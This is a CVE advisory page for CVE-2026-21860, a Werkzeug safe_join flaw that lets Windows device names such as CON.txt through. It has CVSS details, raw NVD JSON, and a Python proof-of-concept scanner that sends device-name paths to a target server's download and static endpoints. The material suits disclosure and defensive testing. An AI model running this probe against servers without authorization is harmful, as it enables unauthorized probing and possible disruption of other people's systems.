Security Vulnerability Report
中文
CVE-2026-21860 CVSS 5.3 MEDIUM

CVE-2026-21860

Published: 2026-01-08 19:15:59
Last Modified: 2026-02-02 17:15:31

Description

Werkzeug is a comprehensive WSGI web application library. Prior to version 3.1.5, Werkzeug's safe_join function allows path segments with Windows device names that have file extensions or trailing spaces. On Windows, there are special device names such as CON, AUX, etc that are implicitly present and readable in every directory. Windows still accepts them with any file extension, such as CON.txt, or trailing spaces such as CON. This issue has been patched in version 3.1.5.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:palletsprojects:werkzeug:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Werkzeug < 3.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-21860 PoC - Werkzeug safe_join Windows device name bypass # This PoC demonstrates accessing Windows special device names through Werkzeug's safe_join function def test_werkzeug_device_name_bypass(base_url): """ Test for CVE-2026-21860: Werkzeug safe_join Windows device name traversal Works only on Windows servers running vulnerable Werkzeug versions (< 3.1.5) """ # Windows special device names that can be accessed device_names = [ 'CON.txt', # Console device with extension 'CON ', # Console device with trailing space 'AUX.txt', # Auxiliary device with extension 'NUL.log', # Null device with extension 'PRN.txt', # Printer device with extension ] results = [] for device in device_names: # Try to access device names through various endpoints endpoints = [ f'{base_url}/download?file={device}', f'{base_url}/static/{device}', f'{base_url}/files/{device}', ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=5) # If we get a successful response (not 404), the vulnerability may exist if response.status_code == 200: results.append({ 'device': device, 'endpoint': endpoint, 'status': 'VULNERABLE', 'content_length': len(response.content) }) except requests.exceptions.RequestException: pass return results if __name__ == '__main__': # Example usage base_url = 'http://target-server.com' results = test_werkzeug_device_name_bypass(base_url) if results: print('Potential vulnerability detected!') for r in results: print(f" Device: {r['device']}, Endpoint: {r['endpoint']}") else: print('No vulnerability detected or target not accessible')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21860", "sourceIdentifier": "[email protected]", "published": "2026-01-08T19:15:59.000", "lastModified": "2026-02-02T17:15:30.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Werkzeug is a comprehensive WSGI web application library. Prior to version 3.1.5, Werkzeug's safe_join function allows path segments with Windows device names that have file extensions or trailing spaces. On Windows, there are special device names such as CON, AUX, etc that are implicitly present and readable in every directory. Windows still accepts them with any file extension, such as CON.txt, or trailing spaces such as CON. This issue has been patched in version 3.1.5."}, {"lang": "es", "value": "Werkzeug es una completa biblioteca de aplicaciones web WSGI. Antes de la versión 3.1.5, la función safe_join de Werkzeug permite segmentos de ruta con nombres de dispositivos de Windows que tienen extensiones de archivo o espacios finales. En Windows, existen nombres de dispositivos especiales como CON, AUX, etc. que están implícitamente presentes y son legibles en cada directorio. Windows aún los acepta con cualquier extensión de archivo, como CON.txt, o espacios finales como CON. Este problema ha sido parcheado en la versión 3.1.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-67"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:palletsprojects:werkzeug:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.5", "matchCriteriaId": "B45012A0-44EF-4DE3-9D85-C02212BD7F27"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://github.com/pallets/werkzeug/commit/7ae1d254e04a0c33e241ac1cca4783ce6c875ca3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pallets/werkzeug/security/advisories/GHSA-87hc-h4r5-73f7", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}